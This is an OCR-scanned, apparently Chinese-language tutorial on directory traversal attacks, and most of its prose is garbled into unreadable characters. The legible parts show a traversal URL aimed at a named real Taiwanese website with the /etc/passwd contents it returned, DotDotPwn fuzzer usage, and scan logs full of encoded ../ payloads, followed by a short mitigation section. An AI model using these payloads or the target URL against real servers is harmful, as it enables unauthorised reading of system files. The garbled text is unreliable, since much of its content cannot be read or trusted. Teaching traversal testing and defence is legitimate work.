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1. BEEERERS

H#xi#zE ( Directory Traversal ) TR EEREEIEE KRG A ME i
REEHLZEY - FAOALTULUANBSERZE - ./ - Bl pkiRE
ERERE  BEGIREBREZER BLENBZIR/AREEEN - @
Linux %4t N EIZ2 & 2 /etc/passwd Zi/etc/shadow & - B0 A THUSHH

BATEZE - ML S AR - BIEENS R e B ERER -

2. BREERESEZMDN

014F 1B 6 HEBEWNEZLZAENINE ABENERRE 4L -
MBEABMT 1R 7 HIWAZEBR T RFERFIHBE  AAEENERR
EERL MR BIRZINR ZIEZES Linux fEEE R4 2 /etc/passwd 18
AAEZE /etc/shadow 2B —AH IR - EE R ARG T /etc/shadow
BN - AREEEW A f/etc/passwd 1& - {BRABOIBE/etc/shadow thiEFE

HY -

Linux fFEZ#FRI /etc/shadow 1ERZRRRFEM Linux HEEE

BANRSR R AERIAESR - /etc/shadow HEHERIER RS - B oA T EETHK
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fZ - 9 Ophcrack Bl RIFEIMB 2 RBHETE  EREZEHEEEERE

% olETTRInEALESE - STEERIERE -

==

(7# http://www.fetc.net.tw/portal/front/staticPage? ]
( articleld=48288@fdleafaceedlleafefd1d6@@@S&path=../../../../../../ .. ..0../..[..[..[..[..[etc/passwd ]

at:x:25:25:Batch jobsdaemon:/var/spool/atjobs:/bin/bash

bin:x:1:1:bin:/bin:/bin/bash

daemon:x:2:2:Daemon:/sbin:/bin/bash

ftp:x:408:49:FTP account:/srv/ftp:/bin/bash

games:x:12:108:Games account:/var/games:/bin/bash

haldaemon:x:181:182:User for haldaemon:/var/run/hal:/bin/false

lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash

mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false

man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash

messagebus:x:1808:101:User for D-BUS:/var/run/dbus:/bin/false

news:x:9:13:News system:/etc/news:/bin/bashnobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash
ntp:x:74:183:NTP daemon:/var/lib/ntp:/bin/falseroot:x:8:8:root:/root:/bin/bash
sshd:x:71:65:5SH daemon:/var/lib/sshd:/bin/false

suse-ncc:x:1082:184:Novell Customer Center User:/var/lib/YaST2/suse-ncc-fakehome:/bin/bash
tomcat:x:183:185:Tomcat - Apache Servlet/JSP Engine:/usr/share/tomcat5:/bin/bash
uucp:x:18:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash

/etc/passwd %18 :

MRSk HE - 2 : UID : GID : EHZEMERAR : KB % : Shell

/etc/shadow #18 :
MRS Z2HE : 205 . RO BRI HE - BB A HEENKRE . 215
EEMEFEREY  BIBEEFHR 7 ES R RIBAMNE : IRsREANH

H : R




3. MUBRREIHEEEFRBEERR

ol ¥ A1l TE DotDotPwn REBIREEHEEH BiFEE 2555 -
DotDotPwn 27/ Perl FrERABEREERETE - J£E7; Blog Ml

BHTRA (http,/dotdotpwn.blogspot.tw/) - B 2E R Perl Frigs - BT

VBRI 22 Perl PREEZENHRZERS - I £ Perl E7S 48L&

(htto/www.perl.org/get htm)) - £ ActivePer| 5¢& Strawberry &1J -

AR 17 E & ol £ DotDotPwn #4771 - FRATEERRT - B E

CPAN(Attoy/www.cpan.org/) N &l T 3B L BB E R AR

*\Perl64\lib & - DU{& DotDotPwn REEH -
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MESEABEBFIRIERER - OEAH cd 2RERL DotDotPwn 732
I - " DotDotPwn.pl” - EIRIREEMIN - ol LIBINE BB = H EA AR RS

SRR ERR -

C\Windows\system32\cmd.exe |‘:’_|@&j
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B C\Windows\system32\cmd.exe =] & |-t

#
HHH ARG HE R S R H R R R E R H R E R R R R R HEH B R EH R R AR R H RS
#

Usage: C:\dotdotpunidotdotpun-u3.0\dotdotpun.pl -m <module> -h <host> [OPTIONS]

Available options:

-m Module [http | http-url | ftp | tftp | payload | stdout]

-h Hostnhame

<0 Operating System detection for intelligent fuzzing (nmap)

-0 Operating System type if known ("windows”, "unix” or "generic")

-5 Service version detection (banner grabber)

-d Deep of traversals (e.g. deepness 3 equals to ../../../; default
: 6)

=f Specific filename (e.g. /etc/motd; default: according to 0S dete
cted, defaults in TraversalEngine.pm)

=E Add @Extra_files in TraversalEngine.pm (e.g. web.config, httpd.c
onf, etc.)

S URL with the part to be fuzzed marked as TRAUERSAL (e.g. http://
foo:8080/id.php?x=TRAVERSAL&Y=31337)

-k Text pattern to match in the response (http-url & payload module

s - e.g. "root:” if trying /etc/passwd)

-p Filename with the payload to be sent and the part to be fuzzed m
arked with the TRAUERSAL keyword

-X Port to connect (default: HTTP:=8@; FTP=21; TFTP=69)

-t Time in milliseconds between each test (default: 300 (.3 second)

)

-X Use the Bisection Algorithm to detect the exact deepness once a
vulnerability has been found

-e File extension appended at the end of each fuzz string (e.g. ".p
hp”, “".jpg", ".inc")

-U Username (default: ‘anonymous’)

-p Password (default: '"dot@dot.puwn’)

-H HTTP Method to use when using the 'http’ module [GET | POST | HE
AD | COPY | MOVE] (default: GET)

< Report filename (default: "HOST_MM-DD-YY¥YY_HOUR-MIN.txt')

-b Break after the first vulnerability is found

-q Quiet mode (doesn't print each attemp)

C:\dotdotpwn\dotdotpun-u3. 0>

M DotDotPwn EARFEHSEAT:

/dotdotpwn.pl -m http -h 192.168.1.1 -x 80 -f /etc/hosts -d 8 -t 200 —s

MEARS S EGERRL T

-m 12 FE 7 17 E A (T Iw

-h 2iFEHT host £# - oJHEA IP address 28 domain name



-x ZABHE port 22 host T HETTIEAR - Hito THEE15E 7 80

-f AZHHIE 7S - D15 EEZEN S B TTIZ

-d HERHERIORE - Bik#s 5 —MROUEER 8

-t REBXIFHENE - 200 73 02 #—X - —FA 5 X

- ERFAKIFH I E R FI DotDotPwn B3 T

WMATESE SHIREREH - BEHSZERESSEESEEE - |E

FERISE A ENTER BRGBITREIERE(ctri+c D EiRmE) -

HHEHBRERH R RHE R R B R R HE R R R B R R R R R H R R BB G R BB R H B R RS

Report name: Reports 03-17-2014_13-34. txt

TARGET INFORMATION
Hosthame:
Protocol: http
Port: 80

TRAVERSAL ENGINE

Creating Traversal patterns (mix of dots and slashes)
Multiplying 8 times the traversal patterns (-d switch)
Creating the Special Trawersal patterns

Translating (back)slashes in the filenames

Appending '/etc/hosts’ to the Traversal Strings

Including Special sufixes

Traversal Engine DONE ' - Total traversal tests created: 4880

TESTING RESULTS
Ready to launch 5.00 traversals per second
Press Enter to start the testing (You can stop it pressing Ctrl + C)




DotDotPwn 1F i P RO Z H:

Bl C\Windows\system32iemd.exe - DotDotPwn pl -m hitp -h 140.112 8115 -x 80 -f fetc/hosts -d 8 -t 200 —s |ﬂi‘]

[%] HTTP Status: 302 | Testing Path:

ts

[%] HTTP Status: 302 | Testing Path:

hosts

[%] HTTP Status: 302 | Testing Path:

tc/hosts

[%] HTTP Status: 302 | Testing Path: sl pfefan

./etc/hosts
HTTP Status: 302 | Testing Path: e Gl ey

../etc/hosts

HTTP Status: 302 | Testing Path: ..\etc\hosts
HTTP Status: 302 | Testing Path: .\l Aetehhosts
HTTP Status: 302 | Testing Path: . MNLUNL\etehhosts
HTTP Status: 302 | Testing Path: FE, WA

HTTP Status: 302 | Testing Path: el N

[#] HTTP Status: 302 Testing Path: ks N
tc\hosts

[%] HTTP Status: 302 | Testing Path: . VI
SAetcvhosts

[#] HTTP Status: 302 Testing Path: T W

AL \etchhosts

HTTP Status: 302 | Testing Path: .. h2fetck2fhosts
HTTP Status: 302 | Testing Path: h2f . (h2fetck2fhos

HTTP Status: 302 | Testing Path: L h2F . E2F . K2fetcd

[%] HTTP Status: 302 | Testing Path: iy vt S e S ol
fetc¥2fhosts

[*] HTTP Status: 302 | Testing Path: e .t A e e s,
f..%2fetcZ2fhosts

[#] HTTP Status: 302 | Testing Path: it ek2 e T2 .
f..%2F. . L2fetc¥2fhosts

[#] HTTP Status: 302 | Testing Path: 2 e k2 T2
f..%2f. L2f. Y2fetcizfhosts

[%] HTTP Status: 302 | Testing Path: CH .t o B e e
f..%2F. . %L2f. %2f. ¥2fetci2fhosts

[%] HTTP Status: 302 | Testing Path: .. %bcetck5chosts

RS ENEME - 0/ H Total Traversals found B B R ER 2 E IR B %

PEEZ 59/ °




B C\Windows\system32\cmd.exe

[%] HTTP Status: 302 | Testing
%25af . . %25¢c0%25af . . %25c0%25af . .
[%] HTTP Status: 302 | Testing
%.25af . . %25¢c0%25af . . %25c0%25af . .
[%] HTTP Status: 302 | Testing
%.25af . .%25¢c0%25af . . %25¢c0%25af . .
sts

[*] HTTP Status: 302 | Testing
%.25af . . %25¢c0%25af . . %25¢c0%25af . .
%.25c0%25afhosts

[*] HTTP Status: 302 | Testing
0%80%80%afhosts

[%] HTTP Status: 302 | Testing
%.80%80%afetc%f0%80%80%afhosts
[*] HTTP Status: 302 | Testing
%.80%80%af . . .F0%80%80%afetc%fO%E
[*] HTTP Status: 302 | Testing
%.80%80%af . . %f0%80%80%af . . AFO%8E
[*] HTTP Status: 302 | Testing
%.80%80%af . . %f0%80%80%af . . AFO%8E
[*] HTTP Status: 302 | Testing
%.80%80%af . . %f0%80%80%af . . AFO%8E
hosts

[%] HTTP Status: 302 | Testing
%.80%80%af . . .Ff0%80%80%af . . LFO%SC
tc%f0%80%80%afhosts

[*] HTTP Status: 302 | Testing
%.80%80%af . . %f0%80%80%af . . AfO%8E
. %F0%80%80%afetc’f0%80%80%afhos
[*] HTTP Status: 302 | Testing
c%F8%80%80%80%afhosts

[*] HTTP Status: 302 | Testing

I[+] Total Traversals found: ©
[-] Fuzz testing aborted
[+] Report saved: Reports/

C:\dotdotpwn\dotdotpwn-u3.0>

% F8%80%80%80%afetc/%f8%80%80%80%afhosts

B

%25af . . %25¢c0%25af . . 225c0%25afet ~¥ 252028 aLfhank~

/. .%25¢c0%25af . . %25¢0)
/. .%25¢c0%25af . . %25¢0)
0%25afhosts

/.. %25¢c0%25af . . %25¢0|
%25afetc%25¢c0%25afho

/. .%25¢c0%25af . . %25¢0)
%25af . .%25¢c0%25afetc

/. . %f0%80%80%afetc’kf

/. . %f0%80%80%af . .%f0

/. . %f0%80%80%af . . %f0

/. . %F0%80%80%af . . %f0|
/. . %F0%80%80%af . . %f0)
%80%afhosts

/. . %f0%80%80%af . . %F0)
80%afetc%f0%80%80%af|

/. . %f0%80%80%af . .%f0
80%af. . %f0%80%80%afe

/. . %F0%80%80%af . . %f0
80%af. . %f0%80%80%af .

/. . %F8%80%80%80%afet

/. . %F8%80%80%80%af . .

_03-17-2014_13-35. txt

m

[EF5HR Report BRI R P O] EFRIRIFMACH -

_03-03-2014_15-03 - £=*

B=EF) HEE BA(O) \wRNV) Z=HEAH

|
[+] Date and Time: 032-03-2014 15:03:27

TARGET INFORMATION
+] Hostname
+] Protocol: http
+] Port: 80
+] Service detected:
pache/2.2.3 (CentlS)
TRAVERSAL ENGINE

[+] Total Traversals found: 0
[-] Fuzz testing aborted

+] Traverzal Engine DONE ! - Total traverzal tests created: 4830

10



4. mErFaR =B sk E R

ZRHERFEERE EX L oI#IE&E D AR K &R EallmhE L
AR TE http service J 7N ZERIK - [REI oI FERIERI RS E - B oK E
ZEBUHIBEFN ; IREIINERAEEZBRUEER  FroiTRER
AAZYEFTT
(N7, /L7 0 NULL(%O0)” " (%2E)" ,” (%20)"," (%+)" ) - BEBIEE

BEESELEHRTIT BB RAGER - PHEIFABEHR -

MmERPE - AIZZESZNAM http Service BEEHERT - FLERAH
Apache http service fZE55% - OIBEIMNI W BEZBRIIRZED - EEFEIY
Apache B EMTTH - WBBE LR F TETIFAFE - DB EMBURNE
MR - SRR REGHEURERET N —RUE - HEREMER AWK
http server MIREIFREEMN - BRI BKHELE - A BEREMER

BEERE - KEREZE) -

11
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